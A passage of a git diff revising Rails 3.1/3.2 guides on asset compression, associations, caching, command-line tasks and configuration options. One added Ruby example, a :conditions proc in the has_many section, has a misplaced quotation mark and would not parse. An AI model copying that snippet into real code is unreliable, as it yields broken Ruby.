+This mode uses more memory, performs poorer than the default and is not recommended.
+
+When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+
+<plain>
+group :production do
+ gem 'therubyracer'
+end
+</plain>
+
+h3. Customizing the Pipeline
h4. CSS Compression
-There is currently one option for compressing CSS - YUI. This Gem extends the CSS syntax and offers minification.
+There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
-The following line will enable YUI compression, and requires the +yui-compressor+ gem.
+The following line enables YUI compression, and requires the +yui-compressor+ gem.
<erb>
config.assets.css_compressor = :yui
</erb>
-The +config.assets.compress+ must be set to +true+ to enable CSS compression
+The +config.assets.compress+ must be set to +true+ to enable CSS compression.
-h4. JavaScript
+h4. JavaScript Compression
Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
-The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compress your code by removing white spaces and other magical things like changing your +if+ and +else+ statements to ternary operators where possible.
+The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible.
-The following line will invoke uglifier for JavaScript compression.
+The following line invokes +uglifier+ for JavaScript compression.
<erb>
-config.assets.js_compressor = :uglifier
+config.assets.js_compressor = :uglifier
</erb>
The +config.assets.compress+ must be set to +true+ to enable JavaScript compression
+NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
+
h4. Using Your Own Compressor
-The compressor config settings for CSS and JavaScript will also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
+The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
<erb>
class Transformer
@@ -366,7 +527,7 @@ class Transformer
end
</erb>
-To enable this pass a +new+ Object to the config option in +application.rb+:
+To enable this, pass a +new+ Object to the config option in +application.rb+:
<erb>
config.assets.css_compressor = Transformer.new
@@ -387,21 +548,20 @@ This is a handy option if you have any existing project (pre Rails 3.1) that alr
h4. X-Sendfile Headers
-The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. In production Rails (via Sprockets) does not send the asset - just the location and a zero-length response - relying on the web server to do the file serving, which is usually faster. Both Apache and nginx support this option.
+The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
-The configuration is available in <tt>config/environments/production.rb</tt>.
+Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>.
<erb>
-config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
</erb>
-You should check that your server or hosting service actually supports this, otherwise comment it out.
-
WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior.
h3. How Caching Works
-Sprockets uses the default rails cache store to cache assets in dev and production. The only difference is file names are fingerprinted and get far-future headers in production.
+Sprockets uses the default Rails cache store to cache assets in development and production.
TODO: Add more about changing the default store.
@@ -414,3 +574,88 @@ A good example of this is the +jquery-rails+ gem which comes with Rails as the s
h3. Making Your Library or Gem a Pre-Processor
TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
+
+h3. Upgrading from Old Versions of Rails
+
+There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types.
+
+The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
+
+In +application.rb+:
+
+<erb>
+# Enable the asset pipeline
+config.assets.enabled = true
+
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from
+# config.assets.prefix = "/assets"
+</erb>
+
+In +development.rb+:
+
+<erb>
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+</erb>
+
+And in +production.rb+:
+
+<erb>
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Choose the compressors to use
+# config.assets.js_compressor = :uglifier
+# config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs.
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+</erb>
+
+There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false.
+
+The following should also be added to +Gemfile+:
+
+<plain>
+# Gems used only for assets and not required
+# in production environments by default.
+group :assets do
+ gem 'sass-rails', "~> 3.1.0"
+ gem 'coffee-rails', "~> 3.1.0"
+ gem 'uglifier'
+end
+</plain>
+
+If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement.
+
+<ruby>
+if defined?(Bundler)
+ # If you precompile assets before deploying to production, use this line
+ Bundler.require *Rails.groups(:assets => %w(development test))
+ # If you want your assets lazily compiled in production, use this line
+ # Bundler.require(:default, :assets, Rails.env)
+end
+</ruby>
+
+Instead of the old Rails 3.0 one
+
+<ruby>
+# If you have a Gemfile, require the gems listed there, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env) if defined?(Bundler)
+</ruby>
diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile
index ce4ff0389d..451653655f 100644
--- a/railties/guides/source/association_basics.textile
+++ b/railties/guides/source/association_basics.textile
@@ -211,7 +211,7 @@ end
h4. Choosing Between +belongs_to+ and +has_one+
-If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
@@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc
h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
<ruby>
@customer = @order.create_customer(:customer_number => 123,
@@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso
h5. Options for +belongs_to+
-In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
<ruby>
class Order < ActiveRecord::Base
@@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i
h6(#belongs_to-foreign_key). +:foreign_key+
-By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
<ruby>
class Order < ActiveRecord::Base
@@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+
If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object?
+h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
+You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
<ruby>
if @order.customer.nil?
@@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc
h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
<ruby>
@account = @supplier.create_account(:terms => "Net 30")
@@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso
h5. Options for +has_one+
-In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
<ruby>
class Supplier < ActiveRecord::Base
@@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will
h6(#has_one-foreign_key). +:foreign_key+
-By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
<ruby>
class Supplier < ActiveRecord::Base
@@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei
h6(#has_one-primary_key). +:primary_key+
-By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
h6(#has_one-readonly). +:readonly+
@@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+
If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object?
+h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
+You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
<ruby>
if @supplier.account.nil?
@@ -1147,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of
h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
<ruby>
@order = @customer.orders.create(:order_date => Time.now,
@@ -1156,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc
h5. Options for +has_many+
-In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
<ruby>
class Customer < ActiveRecord::Base
@@ -1229,17 +1229,15 @@ end
If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes:
+If you need to evaluate conditions dynamically at runtime, use a proc:
<ruby>
class Customer < ActiveRecord::Base
has_many :latest_orders, :class_name => "Order",
- :conditions => 'orders.created_at > #{10.hours.ago.to_s(:db).inspect}'
+ :conditions => proc { ["orders.created_at > ?, 10.hours.ago] }
end
</ruby>
-Be sure to use single quotes.
-
h6(#has_many-counter_sql). +:counter_sql+
Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
@@ -1262,7 +1260,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m
h6(#has_many-foreign_key). +:foreign_key+
-By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
<ruby>
class Customer < ActiveRecord::Base
@@ -1345,7 +1343,7 @@ end
h6(#has_many-primary_key). +:primary_key+
-By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
h6(#has_many-readonly). +:readonly+
@@ -1551,7 +1549,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection
:conditions => ["created_at > ?", 2.days.ago])
</ruby>
-NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions.
+NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions.
h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
@@ -1576,7 +1574,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ
h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
<ruby>
@assembly = @part.assemblies.create(
@@ -1585,7 +1583,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc
h5. Options for +has_and_belongs_to_many+
-In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
<ruby>
class Parts < ActiveRecord::Base
@@ -1619,7 +1617,7 @@ The +has_and_belongs_to_many+ association supports these options:
h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+
-By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
@@ -1687,7 +1685,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m
h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
-By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
<ruby>
class User < ActiveRecord::Base
@@ -1855,17 +1853,8 @@ class Customer < ActiveRecord::Base
end
</ruby>
-Extensions can refer to the internals of the association proxy using these three accessors:
-
-* +proxy_owner+ returns the object that the association is a part of.
-* +proxy_reflection+ returns the reflection object that describes the association.
-* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
-
-h3. Changelog
+Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor:
-* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy
-* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy
-* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version.
-* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* +proxy_association.owner+ returns the object that the association is a part of.
+* +proxy_association.reflection+ returns the reflection object that describes the association.
+* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile
index ae56911441..0ef6f51190 100644
--- a/railties/guides/source/caching_with_rails.textile
+++ b/railties/guides/source/caching_with_rails.textile
@@ -64,7 +64,7 @@ end
If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.
-NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL!
+NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+.
INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
@@ -72,7 +72,7 @@ h4. Action Caching
One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.
-Clearing the cache works in the exact same way as with Page Caching.
+Clearing the cache works in a similar way to Page Caching, except you use +expire_action+ instead of +expire_page+.
Let's say you only wanted authenticated users to call actions on +ProductsController+.
@@ -188,7 +188,7 @@ end
You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:
<ruby>
- expire_action(:controller => 'products', :action => 'edit', :id => product)
+expire_action(:controller => 'products', :action => 'edit', :id => product.id)
</ruby>
Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:
@@ -293,7 +293,7 @@ Note that the cache will grow until the disk is full unless you periodically cle
h4. ActiveSupport::Cache::MemCacheStore
-This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcached-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcache-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
@@ -403,16 +403,3 @@ end
h3. Further reading
* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
-
-
-h3. Changelog
-
-* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache
-* May 02, 2009: Formatting cleanups
-* April 26, 2009: Clean up typos in submitted patch
-* April 1, 2009: Made a bunch of small fixes
-* February 22, 2009: Beefed up the section on cache_stores
-* December 27, 2008: Typo fixes
-* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup
-* September 15, 2008: Initial version by Aditya Chadha
-
diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile
index b34506d4d8..9284a542f3 100644
--- a/railties/guides/source/command_line.textile
+++ b/railties/guides/source/command_line.textile
@@ -81,6 +81,8 @@ The server can be run on a different port using the +-p+ option. The default dev
$ rails server -e production -p 4000
</shell>
+The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option.
+
h4. +rails generate+
The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators:
@@ -325,6 +327,8 @@ h4. +rails destroy+
Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it.
+You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>.
+
<shell>
$ rails generate model Oops
exists app/models/
@@ -379,21 +383,24 @@ $ rake about
About your application's environment
Ruby version 1.8.7 (x86_64-linux)
RubyGems version 1.3.6
-Rack version 1.1
-Rails version 3.1.0
-Active Record version 3.1.0
-Action Pack version 3.1.0
-Active Resource version 3.1.0
-Action Mailer version 3.1.0
-Active Support version 3.1.0
-Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head
+Rack version 1.3
+Rails version 3.2.0.beta
+JavaScript Runtime Node.js (V8)
+Active Record version 3.2.0.beta
+Action Pack version 3.2.0.beta
+Active Resource version 3.2.0.beta
+Action Mailer version 3.2.0.beta
+Active Support version 3.2.0.beta
+Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root /home/foobar/commandsapp
Environment development
+Database adapter sqlite3
+Database schema version 20110805173523
</shell>
h4. +assets+
-You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove compiled assets using <tt>rake assets:clean</tt>.
+You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>.
h4. +db+
@@ -458,13 +465,18 @@ h4. +test+
INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
-Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should.
-
-The +test:+ namespace helps in running the different tests you will (hopefully!) write.
+Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write.
h4. +tmp+
-The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of deletions gone awry.
+The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+
+The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory:
+
+* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>.
+* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>.
+* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>.
+* +rake tmp:clear+ clears all the three: cache, sessions and sockets.
h4. Miscellaneous
diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile
index 2ff5de2334..d91011c370 100644
--- a/railties/guides/source/configuring.textile
+++ b/railties/guides/source/configuring.textile
@@ -40,7 +40,9 @@ Rails will use that particular setting to configure Active Record.
h4. Rails General Configuration
-* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers:
+These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+.
+
+* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
<ruby>
config.after_initialize do
@@ -64,7 +66,7 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is
* +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+.
-* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+.
+* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+.
* +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+.
@@ -86,6 +88,8 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is
* +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+.
+* +config.log_tags+ accepts a list of methods that respond to +request+ object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode.
* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below.
@@ -124,7 +128,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit
* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+.
-* +config.assets.css_compressor+ defines the CSS compressor to use. Only supported value at the moment is +:yui+, which uses the +yui-compressor+ gem.
+* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem.
* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
@@ -134,6 +138,18 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit
* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+.
+* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+.
+
+* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+.
+
+* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+.
+
+* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store.
+
+* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
+
+* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production.
+
h4. Configuring Generators
@@ -167,16 +183,17 @@ h4. Configuring Middleware
Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
-* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+.
+* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+.
* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+.
-* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default.
-* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
-* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request.
-* +Rails::Rack::Logger+ Notifies the logs that the request has began. After request is complete, flushes all the logs.
-* +ActionDispatch::ShowExceptions+ Rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless.
-* +ActionDispatch::RemoteIp+ Checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings.
